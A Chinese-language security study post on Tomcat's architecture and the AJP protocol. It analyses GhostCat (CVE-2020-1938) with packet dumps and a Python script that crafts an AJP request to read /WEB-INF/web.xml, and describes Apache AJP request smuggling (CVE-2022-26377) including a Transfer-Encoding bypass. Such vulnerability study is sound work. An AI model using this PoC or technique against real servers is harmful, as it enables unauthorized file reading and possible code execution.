Tomcat AJP协议攻击学习
本文最后更新于 62 天前,其中的信息可能已经有所发展或是发生改变。

前置知识

Tomcat

img

Server

  1. Server代表整个servlet 容器,它由 org.apache.catalina.Server 接口定义 ,标准实现是org.apache.catalina.core.StandardServer
  2. 一个Server可以包含一个或多个Services
  3. conf/server.xml配置文件中它必须是最外面的单个元素,因此它的属性也代表了整个servlet的特征
  4. Server标签的三个属性:
    • className:需实现的Java类,此类必须实现org.apache.catalina.Server接口,未指定则使用标准实现
    • port:该服务器等待关闭命令的TCP / IP端口号,一般为8005;设置为-1则为禁用关闭端口
    • shutdown:为了关闭Tomcat,必须通过与指定端口号的TCP / IP连接接收的命令字符串

Service

  1. Service 用于对外提供服务连接,例如同时提供不同协议连接(HTTP , HTTPS , AJP);同时提供不同端口连接
  2. Service默认只有一个,也就是一个 Tomcat 实例默认一个 Service
  3. Service元素很少由用户定制,一般默认实现即可
  4. 一个 Service 包含多个连接器和一个容器
  5. Service可以嵌套一个或多个Connector元素,但必须有一个Engine元素
  6. Service两个属性:
    • className:需实现的Java类,此类必须实现org.apache.catalina.Service接口,未指定则使用标准实现:org.apache.catalina.core.StandardService
    • name:Service显示名称,必须唯一

Connector

默认存在HTTP8080和AJP8009

  1. 一个 Service 可以多个 连接器,接受不同连接协议
  2. Connector用于处理与客户端的通信;Connector接受请求并将请求封装成Request和Response,然后交给Container进行处理,Container处理完之后在交给Connector返回给客户端
img
  1. Connector的三个核心组件 Endpoint、Processor和 Adapter来分别做三件事情,其中 Endpoint和 Processor放在一起抽象成了 ProtocolHandler组件
    • EndPoint是通信端点,即通信监听的接口,是具体的 Socket 接收和发送处理器,是对传输层的抽象,因此 EndPoint是用来实现 TCP/IP 协议数据读写的,本质调用操作系统的 socket 接口
    • Processor用来实现 HTTP 协议,Processor 接收来自 EndPoint 的 Socket,读取字节流解析成 Tomcat Request 和 Response 对象,并通过 Adapter 将其提交到容器处理,Processor 是对应用层协议的抽象
    • Adapter将Processor转换后的 Request 请求提交给 Container 进行具体的解析

Container

  1. Container用于封装和管理Servlet,以及具体处理Request请求,处理完毕生成Response并返回给Connector 组件
  2. 其含有四种容器: EngineHostContextWrapper
img

Engine

  1. Engine表示特定服务的请求处理管道,用于管理多个站点(Host)
  2. 服务可能有多个连接器,Engine接收并处理来自这些连接器的所有请求,将响应返回给适当的连接器,以便传输给客户端
  3. Service必须内嵌一个Engine
  4. 五个属性:
    • backgroundProcessorDelay:调用backgroundProcess方法与子容器的延迟时间,默认10s
    • className:需实现的Java类,此类必须实现org.apache.catalina.Engine接口,未指定则使用标准实现:org.apache.catalina.core.StandardEngine
    • defaultHost:默认的主机名;此名称必须与嵌套在name 其中的Host元素之一的属性匹配
    • jvmRoute:负载平衡
    • name:用于日志和错误消息。在同一台Server中使用多个Service元素时 ,必须为每个引擎分配一个唯一的名称

Host

  1. Host表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置多个站点(Host)
  2. 一个站点( Host) 可以部署多个 Web 应用
  3. Host 内部可能有多个 Context 容器

Context

  1. 一个 Context 代表一个Web应用程序,每个 Context 具有唯一的路径
  2. 一个 Context 可以有多个 Servlet

Wrapper

  1. Tomcat最底层容器
  2. 一个 Wrapper 封装一个 Servlet , 它负责管理一个 Servlet , 包括的 Servlet 的装载 , 初始化 , 执行以及资源回收

Tomcat如何从url定位到servlet

比如我访问http://xxx.com:8080/a/b,怎么定位到servlet?

  1. 首先根据协议和端口号确定 Service 和 Engine。请求被Connector得到,由Connector确定Service,而一个Service有一个Engine,即确定Engine
  2. 由域名确定Host
  3. 由URL确定Context容器。根据/a确定Context容器
  4. 由URL确定Wrapper(servlet)。Context确定后再根据web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet

这一系列的调用如何实现?Pipeline-Valve 管道Pipeline-Valve 是责任链模式,责任链模式是指在一个请求处理的过程中有很多处理者依次对请求进行处理,每个处理者负责做自己相应的处理,处理完之后将再调用下一个处理者继续处理。

img

AJP

AJP 服务全称 Apache JServ Protocol,是一个类似 HTTP 的二进制协议,数据包格式较为简单。浏览器并不能直接支持AJP13协议,需要通过Apache的proxy_ajp模块进行代理,暴露成HTTP协议给客户端使用。

AJP 协议的 请求数据包Magic 为 0x1234,后面紧跟着 2 个字节的数据长度字段,再往后就是数据包的具体内容。如下所示

00000000  12 34 00 98 02 02 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 03  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  0a 00 0f 41 4a 50 5f 52  45 4d 4f 54 45 5f 50 4f   ...AJP_R EMOTE_PO
00000070  52 54 00 00 05 35 31 36  37 36 00 0a 00 0e 41 4a   RT...516 76....AJ
00000080  50 5f 4c 4f 43 41 4c 5f  41 44 44 52 00 00 0b 31   P_LOCAL_ ADDR...1
00000090  30 2e 32 31 31 2e 35 35  2e 33 00 ff               0.211.55 .3..

在请求数据包中,第五个字节表示的是 Code Type,AJP 协议支持包括 Forward Request(0x02)、Shutdown(0x07),Ping(0x08),CPing(0x10)几个 Code Type。需要特殊注意的是,如果没有指定 Code Type,则表示这个数据包是一个“数据”数据包,其内容只包含着请求数据。第六个字节表示方法(method),02表示GET。

Data 类型的数据包文档中没有特别的说明,只说了当 Content-Length 存在且不为0时,则 container 会认为请求有body,例如POST请求,并且立即从输入流中读取单独的数据包以获得该 body 。可以看到对于POST请求,AJP协议会发送两个数据包,一个是 Forward Request 一个是 DATA 。而DATA数据包的格式比较简单,依然是 0x1234 做为两个字节的魔术头,然后紧跟的是两个字节的数据包长度,第五位第六位为body数据的长度,最后跟着的是body。

Tomcat AJP协议任意文件读取 GhostCat CVE-2020-1938

影响范围

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

POC

该漏洞可以通过发起AJP请求直接读取/ROOT/下的文件,如果存在漏洞文件(不限后缀)可以执行(RCE)。

现成轮子

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

我们通过该脚本发送AJP包,用wireshark抓包,复制十六进制码

0000   00 00 5e 00 01 1e fc 44 82 c8 66 df 08 00 45 00
0010   01 b0 a5 d9 40 00 80 06 00 00 07 f9 8c e8 01 0c
0020   33 40 d8 1d 1f 49 40 aa d0 05 3b 79 5b 90 50 18
0030   02 03 ca cf 00 00 12 34 01 84 02 02 00 08 48 54
0040   54 50 2f 31 2e 31 00 00 05 2f 61 73 64 66 00 00
0050   0a 31 2e 31 32 2e 35 31 2e 36 34 00 ff ff 00 0a
0060   31 2e 31 32 2e 35 31 2e 36 34 00 00 50 00 00 09
0070   a0 06 00 0a 6b 65 65 70 2d 61 6c 69 76 65 00 00
0080   0f 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65
0090   00 00 0e 65 6e 2d 55 53 2c 65 6e 3b 71 3d 30 2e
00a0   35 00 a0 08 00 01 30 00 00 0f 41 63 63 65 70 74
00b0   2d 45 6e 63 6f 64 69 6e 67 00 00 13 67 7a 69 70
00c0   2c 20 64 65 66 6c 61 74 65 2c 20 73 64 63 68 00
00d0   00 0d 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 00
00e0   00 09 6d 61 78 2d 61 67 65 3d 30 00 a0 0e 00 07
00f0   4d 6f 7a 69 6c 6c 61 00 00 19 55 70 67 72 61 64
0100   65 2d 49 6e 73 65 63 75 72 65 2d 52 65 71 75 65
0110   73 74 73 00 00 01 31 00 a0 01 00 09 74 65 78 74
0120   2f 68 74 6d 6c 00 a0 0b 00 0a 31 2e 31 32 2e 35
0130   31 2e 36 34 00 0a 00 21 6a 61 76 61 78 2e 73 65
0140   72 76 6c 65 74 2e 69 6e 63 6c 75 64 65 2e 72 65
0150   71 75 65 73 74 5f 75 72 69 00 00 01 2f 00 0a 00
0160   1f 6a 61 76 61 78 2e 73 65 72 76 6c 65 74 2e 69
0170   6e 63 6c 75 64 65 2e 70 61 74 68 5f 69 6e 66 6f
0180   00 00 0f 57 45 42 2d 49 4e 46 2f 77 65 62 2e 78
0190   6d 6c 00 0a 00 22 6a 61 76 61 78 2e 73 65 72 76
01a0   6c 65 74 2e 69 6e 63 6c 75 64 65 2e 73 65 72 76
01b0   6c 65 74 5f 70 61 74 68 00 00 01 2f 00 ff

正常APJ包体结构为0x1234 + DataLength + prefix_code + method + Data,AJP请求报文中,data结构如下

image-20210517235800415

从上面的包中,从1234开始,到ff结束,截出报文。

1234018402020008485454502f312e310000052f6173646600000a312e31322e35312e363400ffff000a312e31322e35312e3634000050000009a006000a6b6565702d616c69766500000f4163636570742d4c616e677561676500000e656e2d55532c656e3b713d302e3500a00800013000000f4163636570742d456e636f64696e67000013677a69702c206465666c6174652c207364636800000d43616368652d436f6e74726f6c0000096d61782d6167653d3000a00e00074d6f7a696c6c61000019557067726164652d496e7365637572652d52657175657374730000013100a0010009746578742f68746d6c00a00b000a312e31322e35312e3634000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000012f000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f00000f5745422d494e462f7765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000012f00ff

wireshark支持解析AJP协议,可以看到发送内容

对比AJP包结构,可以看到通过attributes标签,修改标签值,造成任意文件读取。

分析标签结构,其中0a00为attribute开始标识,21则是键的长度,6a617661782e736572766c65742e696e636c7564652e726571756573745f757269javax.servlet.include.request.uri0000用于分割键和值,01表示键值长度,2f是/,00表示键值对结束。然后重复两次,对其他键值对做同样的操作。

再修改DATA LENGTH,发送数据包即可,参照参考链接里的poc。

import binascii


'''
1234
0184
0202
0008485454502f312e310000052f6173646600000a312e31322e35312e363400ffff000a312e31322e35312e3634000050000009a006000a6b6565702d616c69766500000f4163636570742d4c616e677561676500000e656e2d55532c656e3b713d302e3500a00800013000000f4163636570742d456e636f64696e67000013677a69702c206465666c6174652c207364636800000d43616368652d436f6e74726f6c0000096d61782d6167653d3000a00e00074d6f7a696c6c61000019557067726164652d496e7365637572652d52657175657374730000013100a0010009746578742f68746d6c00a00b000a312e31322e35312e363400
0a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000012f000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f00000f5745422d494e462f7765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000012f00ff
'''

AJP_MAGIC = b'1234'
AJP_prefix_code = b'02'
AJP_method = b'02'
AJP_HEADER = AJP_prefix_code + AJP_method +'0008485454502f312e310000052f6173646600000a312e31322e35312e363400ffff000a312e31322e35312e3634000050000009a006000a6b6565702d616c69766500000f4163636570742d4c616e677561676500000e656e2d55532c656e3b713d302e3500a00800013000000f4163636570742d456e636f64696e67000013677a69702c206465666c6174652c207364636800000d43616368652d436f6e74726f6c0000096d61782d6167653d3000a00e00074d6f7a696c6c61000019557067726164652d496e7365637572652d52657175657374730000013100a0010009746578742f68746d6c00a00b000a312e31322e35312e363400'
Attribute = {
    'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
    'javax.servlet.include.path_info': 'web.xml',
    'javax.servlet.include.servlet_path': '/WEB-INF/',
}


def str_len(attr):
    attr_len = hex(len(attr))[2:].encode().zfill(2)
    return attr_len + binascii.hexlify(attr.encode())


req_attribute = b''
for key, value in Attribute.items():
    req_attribute += b'0a00' + str_len(key) + b'0000' + str_len(value) + b'00'

AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)

漏洞分析

懒得调了,直接看源码吧。

Tomcat默认存在两个Connector,分别是8080的HTTP协议和8009的AJP协议。

将AJP额外属性中的值设置为request的键值对

DefaultServlet中当INCLUDE_REQUEST_URL存在时,设置path。

拼接文件路径

禁止跨目录

读取文件返回

Apache Httpd AJP 请求走私 CVE-2022-26377

影响范围

Apache Httpd < 2.4.54

漏洞分析

Apache 解析AJP协议的部分在 mod_proxy_ajp 模块 。在发送 DATA 类型的数据包时,会在前两位填充数据,分别是魔术头 0x1234 、数据包长度、body 长度。其中数据包长度为 body 长度加2字节,而 body 长度即是 Forward Request 数据包中 Content-Length 的长度。

通过对比 DATA 数据包和 Forward Request 数据包,可以发现由于发送的 DATA 数据包前面填充了六位,因此六位后的数据是我们完全可控的,而前六位中两者只有第五第六位是有差别的。在 Forward Request 数据包中分别对应 prefix_codemethod ,在 DATA 数据包中对应的是body的长度,因此我们可以通过控制DATA 数据包中 body 的长度令其等于正常Forward Request 数据包的prefix_codemethod

如正常的GET Forward Request 数据包prefix_codemethod 分别为 0x02 0x020x0202=514,即需要填充够514个长度的body。body的具体内容为正常的 Forward Request 数据包6位之后的数据即可。

tomcat AjpProcessor 在接收到 Content-Length 大于0的请求头时,会调用 AjpProcessor.receive() 读取后续的body数据,我们的第二个请求包依然被当作了一个body而没有被当作一个新的 Forward Request 请求。因此我们需要让其获取到的 Content-Length 不大于0或者不发送这个请求头。

除了 Content-Length 外,还有一种指定HTTP消息实体采用何种编码形式的请求头 Transfer-Encoding

Transfer-Encoding: chunked时,Content-Length不被发送。由于tomcat AjpProcessor 没有对 Transfer-Encoding 做特殊处理,我们可以不使用 Content-Length 而使用 Transfer-Encoding 进行分块传输,或者两者一起使用,Apache会忽略 Content-Length

不过在 mod_proxy_ajp 模块中禁止 Transfer-Encodingchunked 开头,但是 Transfer-Encoding 支持使用逗号分割多个值,可以在前面插任意字符,例如 a,chunked 等。

由于AJP协议对于POST类型的HTTP请求会分成 headerbody 两个数据包发送,而我们正常走私的请求只有一个header数据包,body数据会无法走私过去。

不过前面提到了当 Content-Length 大于0时,会调用 AjpProcessor.receive() 读取后续的body数据。我们可以在走私的body数据包发过去之后立即发送一个带有POST参数的正常POST数据包,此时该正常数据包的 headerbody 都会被当做我们走私的POST数据包的body部分。为了提高成功率,可以在发送走私请求后,多线程发送多个包含POST参数的正常POST数据包。

参考

CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析

Apache Httpd AJP请求走私 CVE-2022-26377 漏洞分析

CVE-2022-26377: Apache HTTPd AJP Request Smuggling

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇